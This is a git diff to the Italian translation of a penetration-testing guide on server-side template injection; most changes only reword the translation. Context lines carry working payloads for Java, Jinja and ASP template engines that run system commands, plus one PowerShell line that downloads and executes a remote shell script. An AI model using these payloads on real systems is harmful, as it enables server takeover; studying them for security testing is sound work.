diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 24949b0ed..2af96b3b5 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,27 +1,27 @@ # SSTI (Server Side Template Injection) {% hint style="success" %} -Impara e pratica il hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Impara e pratica il hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Supporta HackTricks +Support HackTricks -* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! -* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
-[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina. +[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina. {% embed url="https://www.rootedcon.com/" %} -## Cos'è SSTI (Server-Side Template Injection) +## What is SSTI (Server-Side Template Injection) L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja. @@ -37,11 +37,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} ``` Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server. -Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità. +Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità. ### Rilevamento -Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono: +Per rilevare Server-Side Template Injection (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono: * Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template. * Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari. @@ -50,7 +50,7 @@ Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing #### Fase di identificazione -Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico. +Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico. ## Strumenti @@ -75,7 +75,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment ``` ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) -una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti. +una tabella interattiva contenente i polyglot di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti. ## Exploits @@ -168,7 +168,7 @@ $out.read() ### Thymeleaf -In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti: +In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per l'esecuzione remota di codice potenziale, possono essere utilizzate espressioni come le seguenti: * SpringEL: @@ -181,17 +181,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni di template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`. +Thymeleaf richiede che queste espressioni siano collocate all'interno di attributi specifici. Tuttavia, _l'inserimento di espressioni_ è supportato per altre posizioni del template, utilizzando una sintassi come `[[...]]` o `[(...)]`. Pertanto, un semplice payload di test SSTI potrebbe apparire come `[[${7*7}]]`. Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio `TemplateResolver` per creare template da stringhe al volo, il che è raro. -Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all'interno di doppi underscore (`__...__`) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione delle espressioni, come dimostrato nella documentazione di Thymeleaf: +Thymeleaf offre anche _preprocessing delle espressioni_, dove le espressioni all'interno di doppi underscore (`__...__`) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf: ```java #{selection.__${sel.code}__} ``` **Esempio di Vulnerabilità in Thymeleaf** -Considera il seguente frammento di codice, che potrebbe essere suscettibile di sfruttamento: +Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento: ```xml @@ -667,7 +667,7 @@ URLencoded: * \= 49 -**Lato Client** +**Lato client** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` @@ -741,7 +741,7 @@ home = pugjs.render(injected_page) ### Python -Controlla la seguente pagina per apprendere trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python: +Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di comandi arbitrari nelle sandbox** in python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -827,7 +827,7 @@ Controlla la seguente pagina per apprendere trucchi su **bypassare l'esecuzione {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` -**Ulteriori dettagli su come abusare di Jinja**: +**Maggiori dettagli su come abusare di Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) @@ -876,13 +876,13 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` -**Ulteriori Informazioni** +**Ulteriori informazioni** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) -Anche se è Perl, utilizza tag come ERB in Ruby. +Anche se è Perl, utilizza tag simili a ERB in Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Errore` @@ -900,7 +900,7 @@ Nel motore di template di Go, la conferma del suo utilizzo può essere effettuat **XSS Exploitation** -Con il pacchetto `text/template`, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{""}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Con il pacchetto `text/template`, l'XSS può essere semplice inserendo direttamente il payload. Al contrario, il pacchetto `html/template` codifica la risposta per prevenire questo (ad esempio, `{{""}}` risulta in `<script>alert(1)</script>`). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code @@ -917,7 +917,7 @@ return string(out) ``` **Ulteriori informazioni** -* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) +* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Altri Exploit @@ -959,8 +959,8 @@ Se pensi possa essere utile, leggi: {% embed url="https://www.rootedcon.com/" %} {% hint style="success" %} -Impara e pratica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Impara e pratica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Impara e pratica Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Impara e pratica Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)